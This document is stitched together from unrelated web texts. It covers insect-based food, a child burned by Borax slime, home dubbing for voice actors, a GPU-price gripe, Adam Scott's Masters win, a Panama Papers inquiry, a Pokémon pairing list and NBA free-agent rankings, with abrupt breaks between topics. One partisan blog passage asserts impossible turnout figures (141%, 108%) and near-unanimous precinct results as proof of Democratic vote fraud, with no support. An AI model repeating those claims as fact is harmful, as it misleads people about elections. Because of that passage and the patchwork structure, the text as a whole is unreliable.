Compared to traditional livestock, insect rearing has a smaller ecological footprint — it emits fewer greenhouse gases and less ammonia, and it requires less land clearing and less water. Insects also reproduce much faster.
Pharmacy student Monika Stalmach cited environmental concerns as her primary motivation for considering entomophagy. She referred to a 2013 report by the UN Food and Agriculture Organization, which says that crickets are 12 times more efficient than cattle at converting feed into protein.
Insects may become an important food source in the future, says Jubas-Malz. The human population is expected to exceed nine billion by 2050, and “we need enough food to feed everyone, so we really need to start expanding what we’re comfortable eating,” he says.
Insect consumption is not commonplace in Western society, but Bug Bites seeks to overcome the taboos associated with entomophagy. The organization is an extension of an environmental psychology course project investigating the barriers to launching a successful environmental campaign.
They identified the “disgust factor” as the biggest obstacle for entomophagy.
Westerners may have an aversion to eating insects, but at least two billion people around the world include insects in their diet.
Bug Bites cites the current popularity of sushi as proof that food culture in North America can change and expand. It was not until the 1970s that raw fish began to transition from taboo into the widely enjoyed delicacy that it is in Toronto today.
For many people, environmental concerns won’t be enough to overcome the disgust factor. The nutritional benefits of eating insects provide additional incentive to adopt entomophagy.
Insects are a great source of protein, calcium, iron, and zinc. “[I]t would definitely be much harder to actually support [entomophagy] if there wasn’t the health benefits, so that’s a huge part of our campaign,” explains Jubas-Malz.
The second largest obstacle for entomophagy is the accessibility factor, says Jubas-Malz.
As much as he enjoyed his cricket brownie, Hart said accessibility is the greatest obstacle to incorporating insects in his diet. “It’s just kind of hard to find where you can buy bugs downtown,” agreed Stalmach.
Bug Bites gets its cricket flour from Next Millennium Farms, an insect farm in Ontario.
The 11-year-old girl from Rockland, Massachusetts, said her skin suddenly started to feel “really hot and tingly.”
Home-made slime can take many forms, such as this one. Flickr user: Gladiatorspen
She told her parents, who noticed her skin was starting to turn bright red and starting to bubble. They immediately drove her to a nearby hospital, where they discovered her hands were covered in second- and third-degree burns, CBS Philly reports.
“She was like crying in pain, ‘My hands hurt, my hands hurt,’” said Siobhan Quinn, Kathleen’s mother. “And we looked at them and they were covered in blisters.”
The blistering burns were a result of handling homemade slime, the newest social media craze that’s inspiring kids to make their own with do-it-yourself recipes.
In fact, it’s become so popular, liquid glue sales rose during the second half of 2016, and during the last four weeks of the year they more than doubled, according to Newell Brands (NWL), the parent of Elmer’s Glue.
“We’ve seen a variety of slime recipes oozing through cyberspace over the past few weeks,” Newell Brands said in a statement to CBS News earlier this month. “Glitter slime, clear slime, sequin slime, glow-in-the-dark slime, puffy slime, and metallic slime are just a few of the gooey concoctions to surprise us, all of which use Elmer’s glue as a key ingredient.”
Quinn was using three key ingredients Elmer’s glue, water and Borax -- sodium borate -- to make her slime.
Kathleen Quinn, 11, landed in the hospital after attempting to make homemade slime at her house in Rockland, Massachusetts. CBS Philly
Borax sales are also on the rise because it’s a key ingredient in making slime. Doctors, however, have warned parents that Borax can be toxic if it’s not safely diluted, which may have been the case with Quinn.
According to CBS Philly, doctors said Kathleen’s blisters came from “extended exposure” to Borax.
A Side Dish to Timing: Dubbing
The French Cuisine of VO—But With The Right Tools & Skills, It’s a Delicious Dish That’ll Make You Stand Out!
Blend together carefully
One Studio capable of dubbing
Talent whos know how to perform to video and time
One great editing program that allows video import
One iPhone or tablet (if not equipped for proper dubbing)
A ton of patience
A budget that justifies the work
If these ingredients are properly blended, dubbing can be done from the comfort of home and go fairly smoothly, but if you don’t know what you’re doing, you may find yourself in over your head. Don’t worry though—you don’t have to be a Julia Child in your recording booth to pull off this dish, but you will need to learn a few extra skills in order to get cookin’.
One of the reasons voice talent operate their own studio won’t find a ton of prime time type animation is because of the ability to dub the voice to the picture. This takes special equipment and software, a ton of expertise, a great director and lots of patience. In fact it takes more time to edit and put this all together than it does to voice it and match to the picture. Many voice talent who excel in animation and want to work from their home studio pursue video games, apps and audiobooks as a replacement and will work the odd animation or short.
The International market has crept in so strongly as of late, there is now a huge demand for dubbing voice to video in many different languages. There is a ton of work and opportunity out there for dubbing, however most of it is e-learning based and not easy to match for the talent when the original video footage is voiced in a completely different language.
For dubbing that requires matching people talking—or matching “lip flaps” as I like to call it—is one of the hardest to do from a home studio setup without the right software programs and or devices that will allow you to record your voice while you watch at the same time and match. In a more professional studio set up you add time coding and beeps so that you are able to know precisely when to come in. This can prove to be very difficult to pull off on your own.
The more common form of dubbing you will find working from home is when you have to match the timing of the video, not necessarily the person talking, so perhaps it’s animated, or you’re seeing b-roll footage (which are scenes (real or animated) that showcase what the narrator is talking about. Again the original video may have been in a different language and you’ll have to match for time or the video is already complete so the talent has to make it fit.
Much like editing however, dubbing is very time consuming. Typically if you voice something for an hour, an experienced editor/talent can have this edited within 3 hours (including playback time). If it’s dubbing to video, it can sometimes take as much as 3 hours to dub 5 minutes. It really all depends on what you’re voicing and how well it fits to your natural pacing.
You may be forced to re-write on the fly (if you have permission from the client) in order to make things work. You will have to voice, then edit, then make sure it matches (lining it up in a program such as Pro Tools or similar), then probably have to re-voice certain segments etc. So it’s very tedious work. Many times the talent are forced to compromise the integrity of the read in order fit the time of the animation. Again this takes a special skill and the more you try it, the better you will get.
There are a few make-shift ways of dubbing that most talent have the capability to pull off, but perhaps patience is where the challenge will come in. If you use a quiet device in your studio such as a phone with video playback capabilities, a tablet etc, (careful with computers, they can make unwanted noise that will be picked up from your microphone) and place earphones in the device, you can try and match to the video with ease. This isn’t easy sometimes, but it has definitely saved me in a pinch when my program wasn’t working right.
There is much more to discuss when it comes to dubbing, so if you want to improve your dubbing skills, learn about the craft or enhance your in-studio or at-home dubbing skills you need to tune into my Debinar on June 28th, 2016 for Dubbing Delectables. I will show you several examples of dubbing and how you can make it work from home. I will also offer tips and tricks for those of you doing dubbing/Walla in the local studios.
Topics will include:
Understanding the differences between Dubbing, Looping and Walla
Matching your voice to the screen
Genre Dubbing Breakdown
Dubbing from home
Dubbing in studio
Walla (Background voicing for animation/movies)
Rates
Programs required
Skills required and much more!
Here is a direct link to register.
Until next time everyone
All my best
VOChef Deb
www.VoiceActorTraining.com
www.DebsVoice.com
I was loathe to pay the £299 I paid (new) for my 1070 but knew it was a steal at the price, my hobby of casual pc gaming is at the point where I'm frankly most likely to go console next due to feeling like I'm being taken for a mug.
Shame, I've had PC's since the days of the p200, my future route will be second hand or most likely console, a great shame because I was very much a pc enthusiast with a triple screen setup to match, I doubt I'm the only one who feels like this and is considering their options for the future.
Reading the thread about GPU manufacturers profits just underlines my feelings.
St. Lucie County in Florida had a 141% turnout on election night. President Obama also managed to win 99% of the votes, according to the numbers, in various districts in Broward County.
The sheer number of voters shocked the Supervisor of Elections there, though in this piece she’s not asked to comment on the amazingly lopsided voting percentages in some of the districts. It’s really quite impossible that any candidate, much less one with approval numbers the likes of those enjoyed by Obama, should prevail so hyperwhelmingly. I expect that Nate Silver won’t be calculating the likelihoods, but if there were statisticians willing to address the matter, I think we would find that the numbers are far outside the realm of reasonable probability.
The infinitessimal statistical probabilities materialized in Broward County, FL, were not limited to that county. In polling locations in Philadelphia where Republican observers were thrown out, Mr. Obama received once again over 99% of the votes cast. In Cleveland, he received 99.8% of the votes in 44 districts, and he benefitted from 108% turnout from eligible voters in one county in Ohio.
It takes a special kind of person not to see how such amazing, astounding, mind-bending statistical anomalies could crop up in so many precincts all in one election.
Read the whole thing. This isn’t a conspiracy theory so much as it is a recognition of the Democrat Party’s tradition of vote fraud. Two of their most important constituencies are tombstones and vacant lots.
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THE jinx is finished - Australia has a Masters champion.
Adam Scott ended 77 years of often agonising history today to win our first green jacket after an extraordinary final round and gripping two-hole playoff.
Scott, 32, made a birdie three on the par-four 10th, the second play-off hole, good enough to edge out gallant Argentine Angel Cabrera after a five-hour war.
JOIN BRETT OGLE FOR A 4pm CHAT
The Queenslander played a great iron approach to 3m right of the pin and slid in a putt that will live in Australian sports' fans memories forever, after Cabrera narrowly missed a birdie of his own.
There were scenes of immense celebration around the green, not least of which was a great hug between both combatants showing great sportsmanship.
The putt ended an agonising run of eight runner-up finishes by generations of Australian challengers who couldn't quite do what Scott did today.
Was this the greatest Aussie sporting moment? Vote now!
"I don't know how that happens, It seems a long way from a couple of years ago here (when he finished tied for second) and last July when I was trying to win the British Open," Scott said.
"It fell my way, I had some luck somewhere. I don't know how to express it."
Speaking from the Sanctuary Cove Golf Club, Scott's mother Pam said the family was beside themselves after the history-making win.
"It's something Adam has wanted so long, it was just a delight to watch," Pam Scott said.
"My daughter Casie and I watched it all morning and we just leapt in the air when he made that putt.
"It was a hard putt too, but he has worked so hard and deserves this."
Pictures: US Masters final round
The man himself paid tribute to his idol and good mate Greg Norman for giving him the opportunity to create history.
"There was one guy who inspired a nation of golfers and that's Greg Norman .. and part of this belongs to him."
Speaking later, Norman said he believed Scott would "go on and win more majors than any other Australian golfer."
He also tweeted the following:
What happened today I observed in the eyes of Adam when he was 15. He deserves everything he gets from this win. Proud of him & #australia. — Greg Norman (@SharkGregNorman) April 15, 2013
Prime Minister Julia Gillard said "by any measure it is an historical day for Australian sport".
"Adam Scott's triumph at Augusta immediately joins the ranks of the truly great Australian sporting moments," she said in a statement.
The Governor-General, Quentin Bryce, also publicly congratulated Scott.
"I know all Australians join me in congratulating Adam for making sporting history today," she said.
"His exceptional skill and nerves of steel are a source of pride and inspiration throughout our country."
Australia celebrates Scott's famous win
Scott said he had tried to block the thoughts of breaking the Aussie jinx through the round.
"I tried not to think about anything along those lines, so the thing I did really well out there was to stay in the moment," he said.
"Australia is a proud sporting nation and this is one notch in the belt we've never got."
Jon Anderson: Scott ends Australia's Augusta curse
On the first playoff hole, the 18th, both players left their approach shots short and their balls ran back down off the front of the green.
Cabrera's chip barely shaved the cup, but they each made safe pars to advance to the 10th.
They only got to the play-off after one of the most nail-biting regulation finishes in Masters history.
After they and Queenslander Jason Day fought tooth and nail through the back nine, Scott made a curling 5.5m birdie putt to reach nine under.
Scott, who roared "Come on Aussie" as the ball dropped into the cup, could barely believe his eyes a minute later when Cabrera, who needed a birdie to tie again, lasered his approach to within a metre.
The Argentine coolly knocked it in, delaying the Aussie celebration -- but only for 15 minutes.
"It was a split second when I thought I'd won then," Scott said.
Jim Tucker: British Open loss inspired ultimate glory
"That was the putt we'd seen so many times on that green ... and I just thought, 'It's time for me to step up and see how much I want this'.
"It's an amazing feeling."
Earlier, Queenslander Jason Day had looked the winner when he moved two shots clear midway through the back nine.
But he made consecutive bogeys on the 16th and 17th holes to slide two shots out of the play-off in outright third at seven under.
Victorian Marc Leishman was also in the hunt for a long time, but dunked his second shot to the par-five 15th in a bold attempt to make the eagle that would have put him level with Day at the time.
After a penalty drop, he pitched past the pin and couldn't make the par putt back down the hill, effectively ending a super challenge that he'd sustained for three days after leading through the first round.
Leishman rallied and finished with a 72 to be five under overall, good enough for a share of fourth with Tiger Woods.
Queenslander John Senden finished with a two-over-par 74 today to finish three over and in a tie for 35th.
Aussie PGA criticised for Cabrera tweet
Join Brett Ogle for a live US Masters chat below from 4pm (AEST) and watch The Golf Show, presented by Brett, every Tuesday at 8.30pm (EST) on Fox Sports 1HD.
On a mobile device? Click here for a better viewing experience
Click here to follow Mark Hayes's tweets from Augusta
SEE HOW THE FINAL ROUND UNFOLDED BELOW
In response to a request by the Rambler News Service (RNS) about the results of the prosecutor's inspection of the “Panama Papers,” the Prosecutor General's Office of the Russian Federation stated that this information is not available to the public, Rambler News Service reports.
“The requested information contains details that cannot be discllosed,” said Alexander Kurennoy, head of the news service department of the Prosecutor General's Office of Russia, in response to the request by RNS.
In particular, RNS requested information on whether the examination was completed and, if so, what the results are; whether any unlawful activities were carried out by any of the parties; if the examination has not been completed, what the status is now; whether competent Panamanian authorities have responded to the request of the Prosecutor General's Office; and whether requests have been sent to other countries.
In the spring of 2016, a large number of files from Mossack Fonseca were leaked to the media that contained information about the registration of offshore companies. The documents deal with numerous companies used by state leaders, politicians, celebrities, and famous athletes. The investigation is based on 2.6 terabytes of data, which include 11.5 million documents taken from Mossack Fonseca servers.
The documents caused quite a stir in many countries. In particular, in the section about the Russian Federation, it was reported that those in President Vladimir Putin’s close circle withdrew from Russia at least $2 billion through offshore companies, with the front man being cellist Sergei Roldugin, a friend of the Russian President.
On April 27th, during a speech to the Federation Council, Russian Prosecutor General Yury Chaika said that the supervisory department was checking the facts outlined in the ICIJ (International Consortium of Investigative Journalists) documents and had sent a request to Panama.
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This a list of all ships that have an article, either in whole or in part.
Contents A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
List
A
B
C
D
E
F
G
GaiaShipping - Cheryl and Gardenia
GeekChicShipping - Clemont and Serena
GeneratorShipping - Misty and Pikachu
GoggleShipping - Ash and Giselle
GracefulShipping - Wallace and Winona
GrantedShipping - Lance and Yellow
GrassShipping - James and Gardenia
GreySkyShipping - Nate and Hugh
GymShipping - Brock and Misty
H
HandymanShipping - Tracey and Daisy
HatThiefShipping - Ash and Aipom LapShipping - Ash and Ambipom
HaughtyShipping - Pearl and Platinum
HeartSoulShipping - Ethan and Lyra
HeatTagShipping - Conway and Dawn
HoennShipping - Brendan and May
HollowShipping - Brock and Paul
HunterShipping - Ethan and Silver
I
IgnitionShipping - Flint and Volkner
IkariShipping - Paul and Dawn
ImageShipping - May and Misty
ImaginationShipping - Ash and Bianca
IndigoShipping - Ritchie and Misty
IsshuShipping - Hilbert and N
J
JabShipping - Brock and Croagunk
JohtoFestaShipping - Khoury and Lyra
K
KaishaShipping - Machamp and Vaporeon
KenshiShipping - Ash and Tracey
KissShipping - Ash and Melody
KitchenMaidShipping - Brock and Autumn
KodakShipping - Ash and Trip
KodomoneShipping - Max and Iris
KrazyShipping - Meowth and Pikachu
KuroShipping - Cheren and Hilbert
L
M
MangaShipping - Brock and Sabrina
MangaPokéShipping - Red and Misty
MangaQuestShipping - Gold and Crystal
MareShipping - Ash and Bianca
MasumiShipping - Max and Misty
MinamoShipping - May and Kelly
MizuchiShipping - Iris and Misty
MonroeShipping - Brock and Marilyn
MorpheusShipping - Ash and Angie
N
NamelessShipping - Blue and Red
NavigatorShipping - Brock and Max
NegaiShipping - Ash and Iris
NekoShipping - Meowth and Meowzie
NeoLeagueShipping - Ash and Morrison
NewBarkShipping - Ethan and Kris
NewReplacementShipping - Kris and Lyra
NewRivalShipping - Wally and May
NovelShipping - Paul and Misty
O
P
PalletShipping - Ash and Gary
PearlShipping - Ash and Dawn
PenguinShipping - Kenny and Dawn
PetalburgShipping - Max and May
PikaShipping - Ash and Pikachu
PlayfulShipping - Mew and Pikachu
PoffleShipping - Ash and Miette
PokéShipping - Ash and Misty
PokéSilverShipping - Ash and Lyra
PreciousMetalShipping - Gold and Silver
Q
QuestShipping - Jimmy and Marina
R
S
SacredShipping - Eusine and Morty
SakugoShipping - Barry and Kenny
SanFranciscoShipping - Barry and James
SapphirePearlShipping - Dawn and May
SeaMonkeyShipping - Cilan and Misty
SeasonShipping - Almond and Hazel
SequelShipping - Hugh and Rosa
ShakespeareShipping - Romeo and Juliet
ShiroShipping - Bianca and Hilda
ShoppingShipping - Brock and May
ShurikenShipping - Walnut and Apricot
SitrusShipping - Brock and Natalie
SnapShipping - Ash and Todd
SnowpointShipping - Zoey and Candice
SomeoneElseShipping - Georgio and Misty
SommelierShipping - Cilan and Burgundy
SoulSilverShipping - Silver and Lyra
SpecialShipping - Red and Yellow
SpecialJewelShipping - Silver and Crystal
StarchShipping - Cilan and Tracey
SundaeShipping - Harley and Max
T
U
UltramarineShipping - Brock and Lizabeth
V
ValleyShipping - Ash's Charizard and Charla
VineShipping - Ash's Bulbasaur and May's Bulbasaur GildedLilyShipping - Ash's Bulbasaur and May's Venusaur
ViridianShipping - Silver and Yellow
VisorShipping - Nate and Rosa
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WinkShipping - Ash and Gligar GlideShipping - Ash and Gliscor
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Neverending Romance: an Incomplete Nightmare - official (In)Complete Shippers' List
If the draft is about improving your future, then free agency is about teams getting better immediately. Here's a look at the top 60 free agents available this summer, based on talent, production and value, factoring age, injury and expected price. Because of that last variable -- expected price -- you'll see some established players like Jeff Teague and Derrick Rose below value deals. Both of those players are expected to demand huge deals with big question marks at advanced ages. That stuff matters.
Potential fits are all based on on-court fit, and assume that the team would create the requisite cap room to acquire them, which simply may not be possible in some cases. Fits are based on conceptual ideas and not on reports or sourced information of interest.
Potential fits: Golden State, Oklahoma City
The second-best player in the NBA, and reigning Finals MVP. A dominant combo forward who is one of the best shooters and scorers the game has ever seen. A fierce competitor with a tight handle, exceptional athleticism and unbelievable touch for a 7-footer. He has become a top-flight defender and rebounder and a gifted playmaker to boot. You are not getting him, he's re-signing with the Warriors. But if for any reason his people call you and say he's even slightly interested, you do whatever necessary to clear cap space and acquire him. He'll probably be the best player in the league within the next three seasons.
Potential fits: Golden State
The best shooter in history. Transcendent shooting talent that has reshaped the game in a way no one since Wilt Chamberlain has. Universally beloved athlete. By all accounts a stand-up guy and hard worker. Injury is a concern. His ankles were reinforced by the finest medical science money can buy and he still suffered an injury in the 2015 playoffs, which contributed to his troubles, before he suffered the MCL sprain. Does not respond well to physicality. Prone to unnecessary flash; not a sound passer, but a creative one who can energize his team in the right moment. He has become one of the best finishers in the league, often by merely shooting scoop shots from further out. Showed this season he's willing to sacrifice to make those around him better. An utterly transcendent talent.
Potential fits: Utah, Boston, Miami, Oklahoma City, Clippers
Hayward has slid under the radar but after getting a max extension two years ago, he has been one of the NBA's most efficient and productive forwards when adjusted for pace. His overall numbers look meager, but when you factor in the glacial pace that Hayward has played in under Quin Snyder, the effectiveness and impact of his play carries through. He can hit tough shots, spot-up shots, drive to the rim, pass out of the pick-and-roll, post up, cut to the rim and defend at a high level. He's never going to be a No. 1 player on a championship team, but he can be the best player on a playoff team or a phenomenal do-it-all second weapon. He's also 27, just hitting his prime. Hayward is expected to garner offers from Miami and Boston. Utah cannot afford to lose him.
Potential fits: Clippers, Oklahoma City, Boston, Washington
Multifaceted thunderbolt who has added something new to his game every year. His mid-range jumper was absent, so he hammered it into being a legitimate threat. He faced early double-teams and multiple help defenders so he focused on establishing himself as a passer. Griffin isn't a great defender, he hasn't established a 3-point shot and comes with questions about his attitude and professionalism after last season's shenanigans. But Griffin has also improved in every area of weakness since he first started dunking on fools his rookie season. He has had his season ended by injury the last two years and his explosiveness appears to be on the decline way too early. Installing him as your franchise player comes with serious concerns about his durability.
Potential fits: Toronto, Philadelphia, San Antonio
All-Star caliber point guard who has blossomed and improved in each of the past five seasons. Lowry was a late bloomer but he is a well-rounded, efficient point guard who can run an offense, makes great passes, hits from the outside and when engaged, is a plus defender. Lowry is reliant on free throws but he's also a dynamic player and a fierce competitor with no major health concerns unlike Chris Paul. At 31, this is his last major contract and whoever signs him needs to be aware that at the end of it, he won't be nearly the player he is now. Toronto is widely expected to retain him in free agency, but he'll likely be making more than $35 million when he's 36, and that's a frightening prospect.
Potential fits: Atlanta, Denver, Boston, Toronto, Portland
At 32, there have to be concerns about diminishing returns. However, Millsap has no major injury history headed into his contract year and is a do-it-all forward you need in modern times. He can hit from the perimeter, is an at-once savvy and brutal post scorer, a magnificent defender who can switch constantly on to any assignment, a quality rebounder (in good rebounding systems which the Hawks have not emphasized with him) and a smart player who never lets ego get in the way of his contributions. Millsap is a winner who makes your team better. Let me put it this way: The Cavaliers would be considerably better with Millsap at power forward in place of Kevin Love, and Love helped them win a title.
Potential fits: Toronto, Boston, Portland, Denver, Chicago
At his very best, he's a top-level rim protector and a versatile defender who can switch on to any opponent while knocking down spot-up shot after spot-up shot all the way to the 3-point corner. Unfortunately, he hasn't been at his best consistently in a few years (most notably since a 2014 calf injury against the Spurs in the Western Conference finals). At times, Ibaka can get too focused on offense and it affects his defense. He can't create his own offense reliably and has lost a lot of spring in his step through the years. If the Raptors do not go for a rebuild, they will have to overpay to keep him just based on limited options.
Potential fits: Washington, Miami, Brooklyn, Sacramento, Indiana
Porter made the leap this season, and it played a significant part in Washington's jump to a top-four seed and a second-round appearance. For most of the season, Porter led the league in 3-point percentage among shooters averaging at least four attempts. He has exceptional length and can score a little off the dribble. Porter's value as a two-way player sets him apart in this class. Washington will almost certainly match any offer for him, or offer him the five-year max, but any hesitation should be met by the rest of the league with a deluge of offers.
Potential fits: Clippers, San Antonio, Cleveland
A top-level shooter who, thanks to conditioning and discipline, probably has two-to-three more years of starter-level production in him. An underrated defender and smart passer. One of the best at navigating screens to find shooting opportunities. Definitely a player that makes your team better, but good only for a contender on a long-term deal at this point. Total pro who's not going to disrupt your locker room, sets a great example for work ethic.
Potential fits: Dallas, Milwaukee, New Orleans, New York, Brooklyn, Chicago
Holiday is an above-average starting point guard. He shoots well, is a huge problem for the other team on defense with great instincts, hands and speed and can make plays. He's reliable in the pick-and-roll and knows how to manage an offense. He's not a superstar in a league full of star point guards, but he's a good point guard in a league where you need one. You can win with Holiday.
Potential fits: Utah, San Antonio, Dallas, Milwaukee, Detroit
At 31, there won't be many more productive years for Hill as starter quality, but for a team looking to have a veteran short-term starter who has no discernible weaknesses, Hill is a great option. He's a quality shooter, understands how to run an offense, isn't reckless or disruptive and blends right into any system. Hill also has no major injury history and should continue to be productive-to-rotation-quality into his mid-30s. A three-year deal for Hill will get what's left of his late prime and fills several needs. If your team isn't in need of a major point guard upgrade, Hill is a good option for a veteran at what will likely be fair market value.
Potential fits: Miami, Houston, New York, Indiana, Atlanta
Look, take away the idea of Dion Waiters, and focus on the actual player. Sixteen points per game on 42 percent shooting isn't great, but at 39 percent from 3-point range, the efficiency goes up. He's a good defender, can finish inside and make plays. He's good, even if he believes himself to be elite. The other key is that Waiters learned how to win in OKC. He gets it more than ever. Put him next to good players, and he'll help you win. He could have wound up being Nick Young. Now he's more like a gunner version of Shawn Marion.
Potential fits: Houston, New York, Denver, Dallas, Boston
The good: Long, athletic and can run point forward. A great slasher and incredible at drawing contact. He has shot over 35 percent from 3-point range in each of his past three seasons. Can post up, spot up, slash and get to the line. The bad: A botched knee diagnosis and procedure cost him the entire 2014 season, and he hasn't been the same athletically since. Tends to lag on off-ball defense, particularly in fighting through screens. He has shot over 42 percent from the field once in his career, his rookie season. A ball-dominant player who had one of the highest isolation rates in the league last season … and one of the worst efficiencies in isolation to boot (via Synergy Sport). Might be a terrific player as a fourth weapon on a contender, and can function as the second-best player on a playoff team, but the injury concerns are real.
Potential fits: Oklahoma City, Denver, Golden State, Miami, Memphis, Lakers
The guy you love to hate -- unless he's playing for your team. Excellent at short-range jumpers and finishing inside. Sets great screens. He'll play through anything, and play well. He hustles his face off, and does so without complaint or needing recognition. Humble and smart. Not the biggest dude in the gym, but if you beat him, it won't be because you outworked him. You want this guy on your team. At age 32, the drop-off is a concern, but given he has taken a discount at every turn in his career and stayed humble, value seems likely.
Potential fits: Dallas, Minnesota, Toronto
Amazing defender, with some selectively good weapons he's developing on offense. He struggled to play next to Jahlil Okafor at power forward and regressed in some key areas in 2016, but blossomed a bit in Dallas. Lost his rookie season to an ACL tear and that's a concern going forward. Questions about his maturity after an incident with a rental home. He has unlimited defensive upside. He'll no doubt be retained by Dallas. Noel's upside is high, but at 23, it's not other-worldly.
Potential fits: Detroit, Brooklyn, Sacramento
He finally turned into a knock-down shooter after a few years where that was in serious doubt. A top flight perimeter defender who will only improve, with good wingspan and mobility, his value is only going to go up. The Pistons are a near-lock to re-sign him, though it might take a max offer from the Brooklyn Nets to force their hands in a restricted free agency match.
Potential fits: Golden State, Boston, Memphis, Toronto
He wobbles a delicate line between being one of the most valuable players on one of the most dominant teams in NBA history and being a liability you can exploit by daring him to shoot. He has games where he's still one of the best defenders in the league, and others where he's a guy who has played a lot of miles and can't guard the absolute best player on the other team effectively. His shot is inconsistent; just as likely to knock down four straight as he is to miss six straight. A smart player who always settles the Warriors, he's very likely to commit to re-signing. He knows how good he has it with the Warriors.
Potential fits: Memphis, Brooklyn, Denver, San Antonio
A guy who has built himself from nothing to being one of the best values in this market. He can shoot from the perimeter, finish inside, rebound and defend five positions. He's not an elite defender but he's very good and can make a huge impact. A middle-management Paul Millsap. In the modern NBA, he's what you're looking for at power forward. The Nets would be wise to break the bank on a three-year deal for him.
Potential fits: Milwaukee, Brooklyn, New Orleans, Charlotte
Snell came into his own in Milwaukee. He's a crack shooter, 88th percentile on spot-up shots per Synergy Sports, and has good defensive ability in certain systems. He has good length and no major injury issues to speak of. For a league that needs shooters with size, Snell is an excellent option.
Potential fits: Boston, Denver, Detroit, Philadelphia
Olynyk is pretty fascinating. He had an excellent 2015-16 season and showed great defensive ability in containing the pick-and-roll. Then that all went away this season, but he made up for it because he essentially put the Celtics in the conference finals with his Game 7 performance against the Wizards. He's a great shooter and will destroy mismatches if given one. He's also not a go-to weapon. You want him as a complementary component only and a bench role is pretty ideal. He's also 26. While he's entering his best seasons he's not going to make many huge leaps. Boston is going to be in a tough spot. If it can't find an upgrade, it needs to keep him, but the Celtics also need to keep costs down because of next summer when they're going to have to shell out a billion dollars.
Potential fits: Oklahoma City, Orlando, Minnesota, Phoenix
Roberson gets a bad ranking here and it's not really his fault. Two things: 1. He's a restricted free agent and due to the Thunder's cap situation, they have little recourse but to re-sign him. (Think of it as the defensive version of why they signed Enes Kanter.) And 2. The offense is just too miserable. If you're down 10 and trying desperately to get back into it, you almost can't have him on the floor because of what he allows the defense to do by not guarding him. And this feels really unfair because Roberson is a first-team All-Defense level defender, a hard worker, athletic, has some counter moves and works his tail off. Because of those things, he's probably going to get big offers. So if you want him, to scare OKC off him, you have to go huge, and that's a lot of money for a guy who shot 8 of 40 from the right corner and 25 percent above the break. If you get him, you get a good player who will help you, but his value in this class is lower.
Potential fits: Dallas
He's low on this list because he's not going anywhere. The Mavs exercised their team option on him, but that's only to offer him a new deal. He's not going anywhere. But if he's available, he's still Dirk. But let's say he and Mark Cuban get into a fight about Cuban's acting in his appearance on "Billions" and the two break up and they let him go. Yeah, he's a million years old, but he's Dirk Nowitzki and for about 10 nights out of the year, he's still going to cook. Legends are top 30, no matter what. You're not getting him, though.
Potential fits: Houston, Oklahoma City, Detroit, Miami
Rudy Gay comes with a whole host of conflicting concepts. His overall production (especially when factoring for pace) dipped last season while his efficiency remained more or less stable. But it should be noted the past two seasons in Sacramento have seen him play with better overall efficiency. He's less of a mid-range jump shooter and more of a do-it-all combo forward. He has found success as a small-ball power forward. Gay has never embraced the idea of being versatile and it has cost his value. But in a market short on unrestricted free agents and high on suitors, Gay can act as a decent second or third weapon especially if he decides to emphasize rebounding, play-making and defense with his strength and athleticism. Unfortunately, his Achilles injury comes as he enters a contract summer at age 30. He might not opt out, to give himself a year to recoup value. If he does become a free agent, teams will have to decide whether a diminished Rudy Gay is going to help in a significant manner.
Potential fits: Toronto, Denver, Clippers, Brooklyn
Patterson never quite hit the level of player he looked capable of being out of college. He's athletic with good stretch-forward size but he has become more stretch and less forward. And even then, he has too many droughts to be relied on. He has good defensive ability and can get up and down the floor. He'll never be a super-assertive asset and can't cover for others' defensive lapses, but he's also never going to be the reason you lose. Helps his team.
Potential fits: Golden State, Washington, Memphis, Milwaukee
Livingston has been pivotal for what the Warriors do -- a steady hand at backup point guard -- but his role has been reduced with the addition of Kevin Durant as another big ball-handler and the emergence of Ian Clark. Livingston can help run your second unit, never causes problems, never gets techs, he has a reliable go-to turnaround jumper over smaller guards and is still a smart cutter. As a second or third guard, he's still great value. At 31, any major slide could be the end of his career, but he's going to make any team he's on better just by being around.
Potential fits: San Antonio, New York, Washington, Memphis
A firebug point guard who has learned how to adapt to tough environments as part of the most disciplined team in the league. Mills is a veteran who can hit 3s, run the offense and defends at a high level for how small he is. But that's an issue, and it probably means he needs to come off the bench. He's worth a big offer as a backup, but a starter role might limit a team's upside.
Potential fits: San Antonio, Denver, Dallas, Miami
Simmons once paid money to get entrance to a D-League tryout. Now he's one of the key players on a Western Conference finalist. He drifted in and out of the rotation this season but he has had a terrific postseason. He's hitting 3s, twisting layups, fadeaways, everything, prompting me to dub him "LeBronathon Simmons." It's probably not sustainable, and he's 27. He's not a young pup waiting to be unleashed. He's athletic, physical and had enough discipline to earn time with the Spurs. He's worth investment for a backup forward spot, to see if he can be even more. Not afraid to take on any challenge.
Potential fits: Denver, Portland, Dallas
Mirotic is best described as a shooter who doesn't shoot. He gets off to terrible shooting starts, then rebounds towards the late middle of the year, before falling off. His defense is much the same way, it can look nightmarish for a stretch and then look awful for long minutes. Still, the Bulls were more than seven points better per 100 possessions (net) with Mirotic on the floor this season, so he has contributed.
Best fits: Atlanta, Dallas, Orlando, Oklahoma City
Teague is 29, and just isn't seen as a difference-maker anymore. He posted career highs in assists per 100 possessions, none of his shooting numbers were concerning, but his defense slipped badly. He's this low on account of what is expected to be a fairly massive deal. If you get him for under $20 million as a starter, or under $18 for a backup, it's good value. Anything over that is an overpay you'll be hurting from at the end of his contract.
Potential fits: Toronto, Denver, San Antonio, Atlanta, Cleveland
Tucker is tough as nails and a great defensive leader. He attacks with aggression, and can make layups and knock down a few shots. He's not some sort of omega-stopper but he's definitely a top level guy on that end. Tucker is 32 so there's going to be a slow down, but he helps good teams win more, now.
Potential fits: Oklahoma City, Houston, Minnesota, Washington
Miles turned 30 in March, but he's also steady as can be. He's shot 35 percent from deep in every season since 2012. He was 78th percentile defensively via Synergy sports.
He's one-dimensional, but he's also incredibly reliable. Miles is terrific value for any team that picks him up, and his market should be a full one. He's a steal, despite being 33rd on this list.
Potential fits: Washington, New York, San Antonio, Oklahoma City
Bogdanovic is a great shooter. He's not good defensively, but he's not bad, either. He disappointed in the playoffs for Washington, but he's only 28, he's got several more years of top performance. He can operate as a lesser-Peja-Stojakovic and operates in almost any system.
Potential fits: Denver, Washington, Houston, Minnesota
Galloway vanished under Dave Joerger in Sacramento, and couldn't do anything in the pick-and-roll with the Kings. But he's a great slasher and spot-up weapon, and ranked in the 97th percentile defensively last year. If you land him for under $16 million per year, that's a bargain in the current market.
Potential fits: Memphis, Golden State, San Antonio, Cleveland
